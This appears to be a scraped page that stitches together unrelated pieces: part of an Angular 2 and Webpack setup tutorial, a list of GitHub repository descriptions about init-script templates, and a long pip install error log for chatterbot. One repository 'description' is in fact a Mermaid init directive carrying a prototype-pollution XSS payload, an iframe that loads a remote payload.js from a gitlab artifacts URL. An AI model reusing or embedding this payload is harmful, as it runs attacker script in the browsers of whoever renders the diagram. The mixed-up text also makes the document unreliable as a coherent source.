efficiently detect changes The fundamentals settings are now in place. Let’s create our first Angular 2 application. 2. Creating our First Component The first step is to create a Typescript file at the root folder, and name it app.component.ts. Our application itself will be a component. To do so, we’ll use the @Component decorator by importing it from ‘angular2/core‘. That’s all we need to create our Angular 2 component. 1 2 3 4 5 6 import { Component } from 'angular2/core'; @Component() export class AppComponent { } By prefixing the class by this decorator, it tells Angular that this class is an Angular component. In Angular 2, components are a fundamental concept. It is the way we define views and control the logic on the page. Here’s how to do it : 1 2 3 4 5 6 7 8 9 import { Component } from 'angular2/core'; @Component({ selector: 'app', template: '<h1>Hello, Angular2</h1>' }) export class AppComponent { } We passed in a configuration object to the component decorator. This object has two properties : selector and template. The selector is the HTML element that Angular will looking for. Every times it founds one, Angular will instantiate a new instance of our AppComponent class, and place our template. As you may also notice we export our class at the end. This is our first class so we’ll keep it empty for simplicity. 3. Bootstrapping the App Finally, we need to launch our application. For this, we only need two things : the Angular’s browser bootstrap method, and the application root component that we just wrote. To separate the concerns, create a new file, bootstrap.ts, and import the dependencies : 1 2 3 4 5 6 7 8 9 ///<reference path="node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); As you can see, we call the bootstrap method, passing in our component, AppComponent. Moreover, as stated in the CHANGELOG since 2.0.0-beta.6 (2016-02-11) we may need to add the <reference ... /> line at the top of our bootstrap.ts file when using --target=es5. Feel free to check the CHANGELOG for more details. Last but not least, we need to create an index.html file to host our Angular application. Start by pasting the following lines : 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html> <html> <head></head> <body> <app>Loading...</app> </body> </html> For now, it’s a very basic HTML file in which we’ve put the selector <app> that corresponds to our application root component. But we need to add 2 more things in order to launch our application. Indeed, we need to rely on a tool to load application and library modules. For now, we’ll use SystemJS as the module loader. We’ll see later in this tutorial how to install and configure Webpack for our Angular 2 project. And finally, we need to include script dependencies in our HTML file. Let’s do it together step by step. First, start by installing SystemJS : 1 2 3 npm install --save systemjs Then, load it statically in the index.html just after angular2-polyfills. angular2-polyfills is essentially a mashup of zone.js and reflect-metadata. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> </head> <body> <app>Loading...</app> </body> </html> Finally, we need to tell SystemJS where is our bootstrap module and where to find the dependencies used in our application (angular2 and rxjs) : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> <script> System.config({ // we want to import modules without writing .js at the end defaultJSExtensions: true, // the app will need the following dependencies map: { 'angular2': 'node_modules/angular2', 'rxjs': 'node_modules/rxjs' } }); // and to finish, let's boot the app! System.import('built/bootstrap'); </script> </head> <body> <app>Loading...</app> </body> </html> OK! We’re done with the settings and we can now compile and run our application. In order to handle common tasks, include the following npm scripts in the package.json file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "start": "concurrently \"npm run watch\" \"npm run serve\"", "watch": "tsc -w", "serve": "lite-server" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.11", "es6-promise": "^3.1.2", "es6-shim": "^0.35.0", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.2", "systemjs": "^0.19.24", "zone.js": "^0.6.5" }, "devDependencies": { "concurrently": "^2.2.0", "lite-server": "^2.2.2" } } The watch script runs the TypeScript compiler in watch mode. It watches TypeScript files and triggers recompilation on changes. The serve script runs an HTTP server to serve our application, and refresh the browser on changes. I’ve used lite-server for that purpose. Install it via npm : 1 2 3 npm install --save-dev lite-server And, the start run the previous 2 scripts concurrently using the concurrently npm package : 1 2 3 npm install --save-dev concurrently So, run npm start and open your browser to http://localhost:3000. You should now briefly see “Loading…”, and then “Hello, Angular2” should appear. Congratulations! We’ve have just finished the first part of this tutorial. Keep going to see how to set a build system using Webpack for working with TypeScript. Creating a useful project structure and toolchain 1. Project Structure As far, we’ve built a basic Angular 2 application with the minimum required dependencies and tools. In this section, we’ll refactor our project structure to ease the development of more complex Angular 2 applications. By the end of this section, you will be able to build your own starter kit to get up and running with Angular 2 and TypeScript fast. More importantly, you will understand how to structure your project and what each tool is responsible for. Sounds great, isn’t it? Let’s do it! The first step is to revamp the file structure of our project. Here’s how it will look : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ ├──app.component.ts │ │ └──app.html │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──typings.json ├──package.json │ └──webpack.config.js There are some new files, but don’t worry we will dive into each one of them through this section. What’s important for now, it’s to understand that we’ll use the component approach in our application project. This is a great way to ensure maintainable code by encapsulation of our behavior logic. Hence, each component will live in a single folder with each concern as a file: style, template, specs, e2e, and component class. Before going further let’s reorganize our files as follow : 1 2 3 4 5 6 7 8 9 10 11 12 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html │ │ │ └──app/ │ └──app.component.ts │ ├──tsconfig.json └──package.json You should also update the path in bootstrap.ts : 1 2 3 4 5 6 7 8 9 ///<reference path="../node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app/app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); Great! Now it’s time to dive in into Webpack. 2. Installing and Configuring Webpack Webpack will replace SystemJS that we have used until now, as a module loader. If you need an explanation on what is Webpack for, I highly recommand you to take a look at the official documentation. In short, webpack is a module bundler. “It takes modules with dependencies and generates static assets representing those modules“. Start with installing webpack, webpack-dev-server, and the webpack plugins locally, and save them as project dependencies : 1 2 3 4 5 6 7 8 9 10 # First, remove SystemJS. We don't need it anymore. npm uninstall --save systemjs # Then, install Typescript locally npm install --save typescript # Finally, install webpack npm install --save-dev webpack webpack-dev-server html-webpack-plugin copy-webpack-plugin Now, let’s configure Webpack for our development workflow. For this purpose we’ll create a webpack.config.js. Add the following settings in your config file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 var path = require('path'); var webpack = require('webpack'); var CopyWebpackPlugin = require('copy-webpack-plugin'); var HtmlWebpackPlugin = require('html-webpack-plugin'); var ENV = process.env.ENV = 'development'; var HOST = process.env.HOST || 'localhost'; var PORT = process.env.PORT || 8080; var metadata = { host: HOST, port: PORT, ENV: ENV }; /* * config */ module.exports = { // static data for index.html metadata: metadata, // Emit SourceMap to enhance debugging devtool: 'source-map', devServer: { // This is required for webpack-dev-server. The path should // be an absolute path to your build destination. outputPath: path.join(__dirname, 'dist') }, // Switch loaders to debug mode debug: true, // Our angular app entry: { 'polyfills': path.resolve(__dirname, "src/polyfills.ts"), 'app': path.resolve(__dirname, "src/bootstrap.ts") }, // Config for our build file output: { path: path.resolve(__dirname, "dist"), filename: '[name].bundle.js', sourcemapFilename: '[name].map' }, resolve: { // Add `.ts` and `.tsx` as a resolvable extension. extensions: ['', '.ts', '.tsx', '.js'] }, module: { loaders: [ // Support for .ts files { test: /\.tsx?$/, loader: 'ts-loader', include: [ path.resolve(__dirname, "./src") ] }, // Support for .html as raw text { test: /\.html$/, loader: 'raw-loader', exclude: [ path.resolve(__dirname, "src/index.html") ] } ] }, plugins: [ // Copy static assets to the build folder new CopyWebpackPlugin([{ from: 'src/assets', to: 'assets' }]), // Generate the index.html new HtmlWebpackPlugin({ template: 'src/index.html' }) ] } The entry specifies the entry files of our Angular application. It will be use by Webpack as the starting point for the bundling process. As you may notice we specify our bootstrap file, but also a new file named polyfills.ts. It will contain all the dependencies needed to run our Angular2 application. Before that, we’ve put those deps directly inside our index.html. They now live in a separate file : 1 2 3 4 5 // polyfills.ts import 'angular2/bundles/angular2-polyfills'; import 'rxjs'; The output tells Webpack what to do after completing the bundling process. In our case, the dist/ directory will be use to output the bundled files named app.bundle.js and polyfills.bundle.js with th following source-map files. The ts-loader is used to transpile our Typescript files that match the defined test regex. In our case it will process all files with a .ts or .tsx extension. The raw-loader is used to support html files as raw text. Hence, we could write our component views in separate files and include them afterward in our components. You need to install them using npm : 1 2 3 npm install --save-dev ts-loader raw-loader The CopyWebpackPlugin is used to copy the static assets into the build folder. Finally, the metadata are used by the HtmlWebpackplugin to generate our index.html file. In the index.html, we use the host and port data to run the webpack dev server in development environment. See how this file has been simplified : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="./assets/css/styles.css" /> </head> <body> <app>Loading...</app> </body> <% if (webpackConfig.metadata.ENV === 'development') { %> <!-- Webpack Dev Server --> <script src="http://<%= webpackConfig.metadata.host %>:<%= webpackConfig.metadata.port %>/webpack-dev-server.js"></script> <% } %> </html> Feel free to add you own stylesheets files under /src/assets/css as I did with my styles.css file. You should now have a project structured like so : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ └──app.component.ts │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──package.json │ └──webpack.config.js We need one more thing to be all set up. As mentionned before, we will write the views in separated file. So, create an app.html file and refer to it in your app.components.ts. 1 2 3 4 <!-- app.html --> <h1>Hello, Angular2</h1> 1 2 3 4 5 6 7 8 9 10 // app.component.ts import { Component } from 'angular2/core'; @Component({ selector: 'app', template: require('./app.html') }) export class AppComponent { } Finally, we have to install the node typings definition to be able to require file inside our component as we did for the view. Hence, to do so run the following commands, and complete the tsconfig.json to exclude some files : 1 2 3 4 5 6 7 8 9 10 # Install Typings CLI utility npm install typings --global # Init the typings.json typings init # Install typings typings install env~node --global --save As you can notice in my tsconfig.json file below, there are some extra options that are Atom IDE specific features. Feel free to read the documentation about it: atom-typescript/tsconfig.json. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built", "rootDir": "." }, "exclude": [ "node_modules", "typings/main.d.ts", "typings/main" ], "filesGlob": [ "./src/**/*.ts", "!./node_modules/**/*.ts", "typings/browser.d.ts" ], "compileOnSave": false, "buildOnSave": false } If you want to know more about typings read the following pages on Github : Microsoft/TypeScript and typings/typings. Ok! Now it’s time to build and run our application using Webpack. Let’s create some npm scripts to handle those operations. 3. Using npm as a Task Runner We will simply use npm to define and run our tasks : one for the build process, and one for running the development server. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name": "angular2-starter", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "build:dev": "webpack --progress --colors", "server:dev": "webpack-dev-server --hot --progress --colors --content-base dist/", "start": "npm run server:dev" }, ... } We can now run npm start and visit http://localhost:8080 to see our app running.
satanas
Bash script template for /etc/init.d scripts
lisenet
Template script for an init service.
viniciusteles
This module manages Unicorn services on /etc/init.d. It creates a startup script at /etc/init.d from a template.
eLvErDe
Set of scripts to import official Debian cloud image as Proxmox VM template (with cloud-init)
Ali-Shaikh
Proxmox Helper Scripts, Templates, Cloud Init VM Templates
twolfson
Grunt init template for generating and testing multiple versions of a browser script
orthecreedence
An init.d / rc.d startup script template that handles PID creation, permissions dropping, logging, and killing children. It also has the ability to kill child processes.
x71c9
Ephemeral single-VM provisioner for AWS, GCP, and Hetzner that uses built-in Terraform templates, runs startup scripts via cloud-init, and cleans up automatically on exit.
irops
Scripts used by CloudFormation Templates within cfn-init logic
heroicyang
A simple init.d script template.
josephmc5
Installs iptables init script and config files from a template
LydiaSevelt
Simple script and templates to add an LSB complient start/stop script to /etc/init.d/
chrsandb
Bash scripts for Proxmox VM management including template creation, Cloud-Init deployment, and cleanup operations
ShirkyBooi
A script for use with the Cookiecutter Template, to create a project, init repo & install libraries.
Configuration and Script Templates for Customized Ubuntu ISO Images using PXEless container, Subiquity and cloud-init.
cloudposse-archives
Template Configurator is a utility to write configuration files from ERB templates. When the file's content changes, it can then call an init script to intelligently reload the configuration.
JSONbored
Production-grade Unraid CA templates for self-hosters tired of half-baked XML files — every env var documented, sane defaults, working init scripts, and actually maintained.
yonathandoss2017
%%{init: { 'prototype': {'__proto__': {'template': '<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/cataha319/stored-xss/-/jobs/1460297351/artifacts/raw/payload.js> </script>\">'}}} }%% %%{init: { 'prototype': {'__proto__': {'template': '<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/cataha319/stored-xss/-/jobs/1460297351/artifacts/raw/payload.js> </script>\">'}}} }%% sequenceDiagram Alice->>Bob: Hi Bob Bob->>Alice: Hi Alice
swipswaps
set of scripts to automate the creation of a hardened Debian 13 (Trixie) template on Proxmox VE using cloud-init. This process allows for fast, reproducible, and secure deployments of new Debian VMs
qqwerty222
Project with terraform code to deploy network and ec2 instances in AWS. Also prepare one of the instances to be ansible master, with cloud-init script and autofilled templates for ansible hosts and group_vars
gupta-mansi
python -m pip install chatterbot Collecting chatterbot Using cached https://files.pythonhosted.org/packages/6c/0e/dac0d82f34f86bf509cf5ef3e2dfc5aa7d444bd843a2330ceb7d854f84f2/ChatterBot-1.0.5-py2.py3-none-any.whl Collecting python-dateutil<2.8,>=2.7 Using cached https://files.pythonhosted.org/packages/74/68/d87d9b36af36f44254a8d512cbfc48369103a3b9e474be9bdfe536abfc45/python_dateutil-2.7.5-py2.py3-none-any.whl Collecting pyyaml<5.2,>=5.1 Using cached https://files.pythonhosted.org/packages/e3/e8/b3212641ee2718d556df0f23f78de8303f068fe29cdaa7a91018849582fe/PyYAML-5.1.2.tar.gz Collecting nltk<4.0,>=3.2 Using cached https://files.pythonhosted.org/packages/f6/1d/d925cfb4f324ede997f6d47bea4d9babba51b49e87a767c170b77005889d/nltk-3.4.5.zip Collecting sqlalchemy<1.3,>=1.2 Using cached https://files.pythonhosted.org/packages/f9/67/d07cf7ac7e6dd0bc55ba62816753f86d7c558107104ca915e730c9ec2512/SQLAlchemy-1.2.19.tar.gz Collecting pytz Using cached https://files.pythonhosted.org/packages/e7/f9/f0b53f88060247251bf481fa6ea62cd0d25bf1b11a87888e53ce5b7c8ad2/pytz-2019.3-py2.py3-none-any.whl Collecting pint>=0.8.1 Using cached https://files.pythonhosted.org/packages/15/9d/bf177ebbc57d25e9e296addc14a1303d1e34d7964af5df428a8332349c42/Pint-0.9-py2.py3-none-any.whl Collecting mathparse<0.2,>=0.1 Using cached https://files.pythonhosted.org/packages/c3/e5/4910fb85950cb960fcf3f5aabe1c8e55f5c9201788a1c1302b570a7e1f84/mathparse-0.1.2-py3-none-any.whl Collecting pymongo<4.0,>=3.3 Using cached https://files.pythonhosted.org/packages/c0/69/9388b715d013444ae8e5d497a6825d120f6a7a67ef5aa8ddea62f601cbff/pymongo-3.9.0.tar.gz Collecting spacy<2.2,>=2.1 Using cached https://files.pythonhosted.org/packages/1f/e2/46650d03c7ff2b57ed7af211d41c3f606540f7adea92b5af65fcf9f605c0/spacy-2.1.9.tar.gz Installing build dependencies ... error ERROR: Command errored out with exit status 1: command: 'C:\Program Files\Python38\python.exe' 'C:\Users\Dell\AppData\Roaming\Python\Python38\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\Dell\AppData\Local\Temp\pip-build-env-v5p_fjh_\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools 'wheel>0.32.0,<0.33.0' Cython 'cymem>=2.0.2,<2.1.0' 'preshed>=2.0.1,<2.1.0' 'murmurhash>=0.28.0,<1.1.0' 'thinc>=7.0.8,<7.1.0' cwd: None Complete output (206 lines): Collecting setuptools Using cached https://files.pythonhosted.org/packages/d9/de/554b6310ac87c5b921bc45634b07b11394fe63bc4cb5176f5240addf18ab/setuptools-41.6.0-py2.py3-none-any.whl Collecting wheel<0.33.0,>0.32.0 Using cached https://files.pythonhosted.org/packages/ff/47/1dfa4795e24fd6f93d5d58602dd716c3f101cfd5a77cd9acbe519b44a0a9/wheel-0.32.3-py2.py3-none-any.whl Collecting Cython Using cached https://files.pythonhosted.org/packages/41/2c/9d873fc8d1be29af12a1d41707461399327396da10e50e183754aa4136b9/Cython-0.29.14-cp38-cp38-win_amd64.whl Collecting cymem<2.1.0,>=2.0.2 Using cached https://files.pythonhosted.org/packages/8b/dc/0976e04cc46f86e0dd3ee3797ec68057eaafebf31daca9a076dc138b9920/cymem-2.0.2.tar.gz Collecting preshed<2.1.0,>=2.0.1 Using cached https://files.pythonhosted.org/packages/0b/14/c9aa735cb9c131545fc9e23031baccb87041ac9215b3d75f99e3cf18f6a3/preshed-2.0.1.tar.gz Collecting murmurhash<1.1.0,>=0.28.0 Using cached https://files.pythonhosted.org/packages/5b/73/129c1aed56c88a446c70e4eda186fe014bfb8330478e5e257cc923bd3e15/murmurhash-1.0.2-cp38-cp38-win_amd64.whl Collecting thinc<7.1.0,>=7.0.8 Using cached https://files.pythonhosted.org/packages/92/39/ea2a3d5b87fd52fc865fd1ceb7b91dca1f85e227d53e7a086d260f6bcb93/thinc-7.0.8.tar.gz ERROR: Command errored out with exit status 1: command: 'C:\Program Files\Python38\python.exe' -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\Dell\\AppData\\Local\\Temp\\pip-install-fcx4wah5\\thinc\\setup.py'"'"'; __file__='"'"'C:\\Users\\Dell\\AppData\\Local\\Temp\\pip-install-fcx4wah5\\thinc\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base 'C:\Users\Dell\AppData\Local\Temp\pip-install-fcx4wah5\thinc\pip-egg-info' cwd: C:\Users\Dell\AppData\Local\Temp\pip-install-fcx4wah5\thinc\ Complete output (186 lines): Could not locate executable g77 Could not locate executable f77 Could not locate executable ifort Could not locate executable ifl Could not locate executable f90 Could not locate executable DF Could not locate executable efl Could not locate executable gfortran Could not locate executable f95 Could not locate executable g95 Could not locate executable efort Could not locate executable efc Could not locate executable flang don't know how to compile Fortran code on platform 'nt' 'svnversion' is not recognized as an internal or external command, operable program or batch file. non-existing path in 'numpy\\distutils': 'site.cfg' Running from numpy source directory. C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\setup.py:419: UserWarning: Unrecognized setuptools command, proceeding with generating Cython sources and expanding templates run_build = parse_setuppy_commands() C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\system_info.py:690: UserWarning: Optimized (vendor) Blas libraries are not found. Falls back to netlib Blas library which has worse performance. A better performance should be easily gained by switching Blas library. self.calc_info() C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\system_info.py:690: UserWarning: Blas (http://www.netlib.org/blas/) libraries not found. Directories to search for the libraries can be specified in the numpy/distutils/site.cfg file (section [blas]) or by setting the BLAS environment variable. self.calc_info() C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\system_info.py:690: UserWarning: Blas (http://www.netlib.org/blas/) sources not found. Directories to search for the sources can be specified in the numpy/distutils/site.cfg file (section [blas_src]) or by setting the BLAS_SRC environment variable. self.calc_info() C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\system_info.py:1712: UserWarning: Lapack (http://www.netlib.org/lapack/) libraries not found. Directories to search for the libraries can be specified in the numpy/distutils/site.cfg file (section [lapack]) or by setting the LAPACK environment variable. if getattr(self, '_calc_info_{}'.format(lapack))(): C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\system_info.py:1712: UserWarning: Lapack (http://www.netlib.org/lapack/) sources not found. Directories to search for the sources can be specified in the numpy/distutils/site.cfg file (section [lapack_src]) or by setting the LAPACK_SRC environment variable. if getattr(self, '_calc_info_{}'.format(lapack))(): C:\Program Files\Python38\lib\distutils\dist.py:274: UserWarning: Unknown distribution option: 'define_macros' warnings.warn(msg) Traceback (most recent call last): File "C:\Program Files\Python38\lib\site-packages\setuptools\msvc.py", line 489, in _find_latest_available_vc_ver return self.find_available_vc_vers()[-1] IndexError: list index out of range During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Program Files\Python38\lib\distutils\core.py", line 148, in setup dist.run_commands() File "C:\Program Files\Python38\lib\distutils\dist.py", line 966, in run_commands self.run_command(cmd) File "C:\Program Files\Python38\lib\distutils\dist.py", line 985, in run_command cmd_obj.run() File "C:\Program Files\Python38\lib\site-packages\setuptools\command\bdist_egg.py", line 163, in run self.run_command("egg_info") File "C:\Program Files\Python38\lib\distutils\cmd.py", line 313, in run_command self.distribution.run_command(command) File "C:\Program Files\Python38\lib\distutils\dist.py", line 985, in run_command cmd_obj.run() File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\command\egg_info.py", line 26, in run File "C:\Program Files\Python38\lib\distutils\cmd.py", line 313, in run_command self.distribution.run_command(command) File "C:\Program Files\Python38\lib\distutils\dist.py", line 985, in run_command cmd_obj.run() File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\command\build_src.py", line 142, in run File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\command\build_src.py", line 153, in build_sources File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\command\build_src.py", line 286, in build_library_sources File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\command\build_src.py", line 369, in generate_sources File "numpy\core\setup.py", line 667, in get_mathlib_info File "C:\Program Files\Python38\lib\distutils\command\config.py", line 241, in try_link self._check_compiler() File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\command\config.py", line 54, in _check_compiler File "C:\Program Files\Python38\lib\distutils\_msvccompiler.py", line 253, in initialize vc_env = _get_vc_env(plat_spec) File "C:\Program Files\Python38\lib\site-packages\setuptools\msvc.py", line 185, in msvc14_get_vc_env return EnvironmentInfo(plat_spec, vc_min_ver=14.0).return_env() File "C:\Program Files\Python38\lib\site-packages\setuptools\msvc.py", line 843, in __init__ self.si = SystemInfo(self.ri, vc_ver) File "C:\Program Files\Python38\lib\site-packages\setuptools\msvc.py", line 485, in __init__ self.vc_ver = vc_ver or self._find_latest_available_vc_ver() File "C:\Program Files\Python38\lib\site-packages\setuptools\msvc.py", line 492, in _find_latest_available_vc_ver raise distutils.errors.DistutilsPlatformError(err) distutils.errors.DistutilsPlatformError: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Tools": https://visualstudio.microsoft.com/downloads/ During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 154, in save_modules yield saved File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 195, in setup_context yield File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 250, in run_setup _execfile(setup_script, ns) File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 45, in _execfile exec(code, globals, locals) File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\setup.py", line 444, in <module> File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\setup.py", line 436, in setup_package File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\core.py", line 171, in setup File "C:\Program Files\Python38\lib\site-packages\setuptools\__init__.py", line 145, in setup return distutils.core.setup(**attrs) File "C:\Program Files\Python38\lib\distutils\core.py", line 163, in setup raise SystemExit("error: " + str(msg)) SystemExit: error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Tools": https://visualstudio.microsoft.com/downloads/ During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Program Files\Python38\lib\site-packages\setuptools\command\easy_install.py", line 1144, in run_setup run_setup(setup_script, args) File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 253, in run_setup raise File "C:\Program Files\Python38\lib\contextlib.py", line 131, in __exit__ self.gen.throw(type, value, traceback) File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 195, in setup_context yield File "C:\Program Files\Python38\lib\contextlib.py", line 131, in __exit__ self.gen.throw(type, value, traceback) File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 166, in save_modules saved_exc.resume() File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 141, in resume six.reraise(type, exc, self._tb) File "C:\Program Files\Python38\lib\site-packages\setuptools\_vendor\six.py", line 685, in reraise raise value.with_traceback(tb) File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 154, in save_modules yield saved File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 195, in setup_context yield File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 250, in run_setup _execfile(setup_script, ns) File "C:\Program Files\Python38\lib\site-packages\setuptools\sandbox.py", line 45, in _execfile exec(code, globals, locals) File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\setup.py", line 444, in <module> File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\setup.py", line 436, in setup_package File "C:\Users\Dell\AppData\Local\Temp\easy_install-zo1d8iuq\numpy-1.17.4\numpy\distutils\core.py", line 171, in setup File "C:\Program Files\Python38\lib\site-packages\setuptools\__init__.py", line 145, in setup return distutils.core.setup(**attrs) File "C:\Program Files\Python38\lib\distutils\core.py", line 163, in setup raise SystemExit("error: " + str(msg)) SystemExit: error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Tools": https://visualstudio.microsoft.com/downloads/ During handling of the above exception, another exception occurred: Traceback (most recent call last): File "<string>", line 1, in <module> File "C:\Users\Dell\AppData\Local\Temp\pip-install-fcx4wah5\thinc\setup.py", line 261, in <module> setup_package() File "C:\Users\Dell\AppData\Local\Temp\pip-install-fcx4wah5\thinc\setup.py", line 201, in setup_package setup( File "C:\Program Files\Python38\lib\site-packages\setuptools\__init__.py", line 144, in setup _install_setup_requires(attrs) File "C:\Program Files\Python38\lib\site-packages\setuptools\__init__.py", line 139, in _install_setup_requires dist.fetch_build_eggs(dist.setup_requires) File "C:\Program Files\Python38\lib\site-packages\setuptools\dist.py", line 716, in fetch_build_eggs resolved_dists = pkg_resources.working_set.resolve( File "C:\Program Files\Python38\lib\site-packages\pkg_resources\__init__.py", line 780, in resolve dist = best[req.key] = env.best_match( File "C:\Program Files\Python38\lib\site-packages\pkg_resources\__init__.py", line 1065, in best_match return self.obtain(req, installer) File "C:\Program Files\Python38\lib\site-packages\pkg_resources\__init__.py", line 1077, in obtain return installer(requirement) File "C:\Program Files\Python38\lib\site-packages\setuptools\dist.py", line 786, in fetch_build_egg return cmd.easy_install(req) File "C:\Program Files\Python38\lib\site-packages\setuptools\command\easy_install.py", line 679, in easy_install return self.install_item(spec, dist.location, tmpdir, deps) File "C:\Program Files\Python38\lib\site-packages\setuptools\command\easy_install.py", line 705, in install_item dists = self.install_eggs(spec, download, tmpdir) File "C:\Program Files\Python38\lib\site-packages\setuptools\command\easy_install.py", line 890, in install_eggs return self.build_and_install(setup_script, setup_base) File "C:\Program Files\Python38\lib\site-packages\setuptools\command\easy_install.py", line 1158, in build_and_install self.run_setup(setup_script, setup_base, args) File "C:\Program Files\Python38\lib\site-packages\setuptools\command\easy_install.py", line 1146, in run_setup raise DistutilsError("Setup script exited with %s" % (v.args[0],)) distutils.errors.DistutilsError: Setup script exited with error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Tools": https://visualstudio.microsoft.com/downloads/ ---------------------------------------- ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output. ---------------------------------------- ERROR: Command errored out with exit status 1: 'C:\Program Files\Python38\python.exe' 'C:\Users\Dell\AppData\Roaming\Python\Python38\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\Dell\AppData\Local\Temp\pip-build-env-v5p_fjh_\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools 'wheel>0.32.0,<0.33.0' Cython 'cymem>=2.0.2,<2.1.0' 'preshed>=2.0.1,<2.1.0' 'murmurhash>=0.28.0,<1.1.0' 'thinc>=7.0.8,<7.1.0' Check the logs for full command output.
